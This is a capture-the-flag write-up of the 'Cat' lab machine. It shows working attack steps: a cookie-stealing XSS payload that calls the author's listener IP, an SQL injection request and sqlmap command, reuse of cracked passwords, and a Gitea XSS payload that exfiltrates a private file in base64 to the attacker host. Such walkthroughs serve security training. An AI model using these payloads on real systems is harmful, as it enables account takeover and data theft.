5 July 2025

Cat

by 0xW1LD

cat

Enumeration

nmap find the following ports open:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Port 80 shows a Best Cat Competition website: Pasted image 20250202081300.png Furhter scans show a .git repository on the site:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-git:
|   10.10.11.53:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Cat v1
|_http-title: Best Cat Competition
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking out the git it seems there could be an xss injection and sql injection attacks on the join.php+view_cat.php page and accept_cat.php respectively. join.php

1
2
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>

view_cat.php

1
<strong>Owner:</strong> <?php echo $cat['username']; ?>

accept_cat.php

1
2
3
4
5
 if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

The git repo show’s user Axel made a commit:

1
2
3
4
5
6
$ git log
commit 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5 (HEAD -> master)
Author: Axel <axel2017@gmail.com>
Date:   Sat Aug 31 23:26:14 2024 +0000

    Cat v1

User

If we take a look at the backend we can tell that there’s potential xss in the username field when it is read by the admin in the view_cat page. Therefore our attack path is:

1.Register a user with an xss payload in the username field.

2.Register a cat so our username gets put into the view_cat page where the xss payload will be loaded and executed.

Just before this box retired FisMatHack informed me that the XSS in the username field wasn’t intended and that the intended route was to bypass the xss filters in the cat registration page.

So let’s register using the following username.

1
<script>document.location='http://10.10.14.25:8000/y?='+document.cookie;</script>

logging in with that user let’s register a cat: Pasted image 20250202084752.png

After registering our xss payload should have triggered a response on our listener in this case a python http server.

1
2
3
4
# python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [02/Feb/2025 08:44:34] code 404, message File not found
10.10.11.53 - - [02/Feb/2025 08:44:34] "GET /y?=PHPSESSID=h2sgjgj183htiok09avg44it8k HTTP/1.1" 404 -

You may also receive the resposne using a netcat listener

We got an admin cookie!

Replacing our cookie with the admin’s cookie and logging in to the admin page we can see that we can see the cats being registered: Pasted image 20250202092557.png

Accepting the cat creates a POST request to accept_cat.php which is vulnerable to sqli:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=uvqtsp1t6m2pvns1gn7f31pg3r
Priority: u=0

catName=test'); select * from users;--&catId=2

However, we’ll see that we don’t get the response of the SQL query we just put in which indicates it’s a blind SQLi

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Sun, 02 Feb 2025 00:16:57 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 50
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The cat has been accepted and added successfully.

To extract data from the database we can use sqlmap to automatically do the blind SQLI for us.

1
$sqlmap -r request.txt -p catName --dbms sqlite --level 3 --risk 3 --technique=BEST --tables --batch

Following through using additional sqlmap commands we should eventually be able to extract the users table.

1
2
3
4
5
6
7
8
9
10
11
12
| username | email                         | password                         |
| -------- | ----------------------------- | -------------------------------- |
| jobert   | jobert2020@gmail.com          | 88e4dceccd48820cf77b5cf6c08698ad |
| angel    | angel234g@gmail.com           | 24a8ec003ac2e1b3c5953a6f95f8f565 |
| peter    | peterCC456@gmail.com          | e41ccefa439fc454f7eadbf1f139ed8a |
| royer    | royer.royer2323@gmail.com     | c598f6b844a36fa7836fba0835f1f6   |
| larry    | larryP5656@gmail.com          | 1b6dce240bbfbc0905a664ad199e18f8 |
| jerryson | jerrysonC343@gmail.com        | 781593e060f8d065cd7281c5ec5b4b86 |
| fabian   | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe |
| robert   | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad |
| rosa     | rosamendoza485@gmail.com      | ac369922d560f17d6eeb8b2c7dec498c |
| axel     | axel2017@gmail.com            | d1bbba3670feb9435c9841e46e60ee2f |

User rosa has the following password: rosa:[REDACTED]

Lateral-Movement

We can see that rosa has reused her password and that we can remote into the box through ssh

1
$ ssh rosa@cat.htb

We can check for users by taking a look at the /etc/passwd file.

1
2
3
4
5
root:x:0:0:root:/root:/bin/bash
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
git:x:114:119:Git Version Control,,,:/home/git:/bin/bash
jobert:x:1002:1002:,,,:/home/jobert:/bin/bash

Since rosa is part of adm it means that we can access some files in /var/log

1
2
$ id
uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm)

looking around the log files we find: /var/log/apache2/access.log.1 which contains:

1
127.0.0.1 - - [31/Jan/2025:11:48:38 +0000] "GET /join.php?loginUsername=axel&loginPassword=[REDACTED]&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_

We have Axel’s password! Axel:[REDACTED]

Privilege Escalation

we can ssh into the box using Axel’s credentials:

1
# ssh axel@cat.htb

Checking for network ports and addresses:

1
2
3
4
5
6
7
8
9
10
tcp        0      0 127.0.0.1:34067         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:52379         0.0.0.0:*               LISTEN      -                                                                                                  tcp        0      0 127.0.0.1:40617         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:587           0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -

Port 3000 is running Gitea 1.22 Pasted image 20250202122908.png

It’s running the swagger api: Pasted image 20250202123304.png

We can login using Axel’s credentials: Pasted image 20250202160037.png

No interesting repositories or projects found, however found this vulnerability: Gitea Stored XSS Pasted image 20250202160229.png

Checking Axel’s mail we also find a message from rosa:

1
2
3
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

We can also cause jobert to click on links via sendmail:

1
echo "http://10.10.14.25/test" | sendmail jobert@localhost

We receive:

1
2
3
4
5
6
7
8
9
10
Ncat: Connection from 10.10.11.53:60226.
GET /test HTTP/1.1
Host: 10.10.14.25
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

So we create an xss payload:

1
<a href="javascript:fetch('http://localhost:3000/administrator/employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.14.25/test?='+btoa(d)))">THIS IS A LINK</a>

Then send an email to jobert to get him to trigger our xss payload:

1
echo "http://localhost:3000/axel/w1ld" | sendmail jobert@localhost

After doing so we get the following response on our listener.

1
2
3
4
5
6
7
8
9
10
Ncat: Connection from 10.10.11.53:40948.
GET /test?=PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo/PgoK HTTP/1.1
Host: 10.10.14.25
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

Since we encoded the response in base64 in our xss payload, let’s decode it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo/PgoK" | base64 -d

<?php
$valid_username = 'admin';
$valid_password = '[REDACTED]';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

root:[REDACTED] we can su to root:

1
2
3
4
5
$ su
$ whoami
root
$ cat /root/root.txt
288*****

Just like that we have root!

tags: os/linux - diff/medium